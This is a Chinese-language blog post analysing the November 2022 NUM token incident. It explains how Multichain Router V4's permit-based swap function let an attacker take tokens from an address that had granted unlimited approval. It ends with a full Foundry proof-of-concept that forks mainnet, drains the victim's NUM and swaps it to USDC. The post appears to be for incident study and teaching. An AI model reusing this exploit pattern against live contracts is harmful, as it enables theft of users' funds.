{"content":{"title":"NUM 漏洞分析","body":"# 1.\tNUM漏洞简介\r\nhttps://twitter.com/BlockSecTeam/status/1595346020237352960\r\n\r\n![1.png](https://img.learnblockchain.cn/attachments/2022/11/PyuKFwuL6380885cb01fe.png)\r\n\r\n# 2.\t相关地址或交易\r\nhttps://twitter.com/BlockSecTeam/status/1595346020237352960\r\nhttps://phalcon.blocksec.com/tx/eth/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32    攻击交易\r\nhttps://tx.eth.samczsun.com/ethereum/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32    攻击交易\r\nhttps://etherscan.io/address/0x765277EebeCA2e31912C9946eAe1021199B39C61#code    Multichain: Router V4 2\r\nhttps://etherscan.io/address/0x3496B523e5C00a4b4150D6721320CdDb234c3079        Numbers Protocol: NUM Token\r\n# 3.\t获利分析\r\n\r\n\r\n![2.png](https://img.learnblockchain.cn/attachments/2022/11/U1YxZyyU6380895723ced.png)\r\n# 4.\tERC677代币\r\n\r\n此次事件漏洞与ERC677代币关系并不大，可参考以下链接了解ERC677合约的实现逻辑：https://learnblockchain.cn/article/588\r\n> “RC677标准是ERC20的一个扩展，继承了ERC20的所有方法和事件，除了包含了ERC20的所有方法和事件之外，增加了transferAndCall 方法：\r\n> function transferAndCall(address receiver, uint amount, bytes data) returns (bool success)\r\n> 这个方法比ERC20中的transfer方法多了一个data字段，这个字段用于在转账的同时，携带用户自定义的数据。在方法调用的时候，还会触发Transfer(address,address,uint256,bytes) 事件，记录下发送方、接收方、转账金额以及附带数据。完成转账和记录日志之后，代币合约还会调用接收合约的onTokenTransfer方法，用来触发接收合约的逻辑。这就要求接收ERC677代币的合约必须实现onTokenTransfer方法，用来给代币合约调用。onTokenTransfer方法定义如下：\r\n> function onTokenTransfer(address from, uint256 amount, bytes data) returns (bool success)\r\n> 接收合约就可以在这个方法中定义自己的业务逻辑，可以在发生转账的时候自动触发。换句话说，智能合约中的业务逻辑，可以通过代币转账的方式来触发自动运行。”\r\n# 5.\t攻击过程&漏洞原因\r\n1.\t攻击者先查看被攻击合约0x78ac给Multichain: Router V4 2授权的额度，为115792089237316195423570985008687907853269984665640563939356584007913129639935 ，即type(uint256).max ；\r\n\r\n![3.png](https://img.learnblockchain.cn/attachments/2022/11/ZAttl4G763808948de01d.png)\r\n2.\t攻击者再调用Multichain: Router V4 2合约的anySwapOutUnderlyingWithPermit方法，查看具体代码发现Multichain将调用代币NUM的peimit函数；\r\n\r\n![4.png](https://img.learnblockchain.cn/attachments/2022/11/LJlw7IZ66380896e2cdc2.png)\r\n3.\t在NUM代币的代码中并未实现permit函数，并且查看function()，并未实现任何逻辑，这就意味着调用NUM的peimit方法不会执行任何操作。\r\n\r\n![5.png](https://img.learnblockchain.cn/attachments/2022/11/f8sPzszP63808982572fa.png)\r\n# 4.\t漏洞复现\r\n漏洞复现代码可参考：https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/NUM_exp.sol\r\n\r\n\r\n```\r\n\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.10;\r\n\r\nimport \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\n// @Analysis\r\n// https://twitter.com/BlockSecTeam/status/1595346020237352960\r\n// @TX\r\n// https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32\r\n\r\ninterface MultichainRouter{\r\n    function anySwapOutUnderlyingWithPermit(\r\n        address from,\r\n        address token,\r\n        address to,\r\n        uint amount,\r\n        uint deadline,\r\n        uint8 v,\r\n        bytes32 r,\r\n        bytes32 s,\r\n        uint toChainID\r\n    ) external;\r\n}\r\n\r\ncontract ContractTest is DSTest{\r\n    IERC20 NUM = IERC20(0x3496B523e5C00a4b4150D6721320CdDb234c3079);\r\n    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\r\n    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\r\n    MultichainRouter multichainRouter = MultichainRouter(0x765277EebeCA2e31912C9946eAe1021199B39C61);\r\n    Uni_Router_V3 Router = Uni_Router_V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);\r\n    address victimAddress = 0x78AC2624a2Cd193E8dEfE9F39A9528e8bd4a368c;\r\n    uint NUMBalance;\r\n\r\n    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\r\n\r\n    function setUp() public {\r\n        cheats.createSelectFork(\"mainnet\", 16029969); \r\n    }\r\n\r\n    function testExploit() external{\r\n        NUMBalance = NUM.balanceOf(victimAddress);\r\n        uint8 v = 0;\r\n        bytes32 r = 0x3078000000000000000000000000000000000000000000000000000000000000;\r\n        bytes32 s = 0x3078000000000000000000000000000000000000000000000000000000000000;\r\n        multichainRouter.anySwapOutUnderlyingWithPermit(\r\n            victimAddress,\r\n            address(this),\r\n            address(this),\r\n            NUMBalance,\r\n            block.timestamp + 60,\r\n            v,\r\n            r,\r\n            s,\r\n            12\r\n        );\r\n        NUM.approve(address(Router), type(uint).max);\r\n        WETH.approve(address(Router), type(uint).max);\r\n        NUM.transfer(address(Router), NUM.balanceOf(address(this)));\r\n        address[] memory path = new address[](2);\r\n        path[0] = address(NUM);\r\n        path[1] = address(USDC);\r\n        Router.swapExactTokensForTokens(0, 0, path, address(this));\r\n\r\n        emit log_named_decimal_uint(\r\n            \"[End] Attacker USDC balance after exploit\",\r\n            USDC.balanceOf(address(this)),\r\n            6\r\n        );\r\n    }\r\n\r\n    function underlying() external returns(address){\r\n        return address(NUM);\r\n    }\r\n\r\n    function depositVault(uint256 amount, address to) external returns(uint){\r\n        return NUMBalance;\r\n    }\r\n    \r\n    function burn(address from, uint256 amount) external returns(bool){\r\n        return true;\r\n    }\r\n}\r\n```"},"author":{"user":"https://learnblockchain.cn/people/10579","address":null},"history":null,"timestamp":1669368308,"version":1}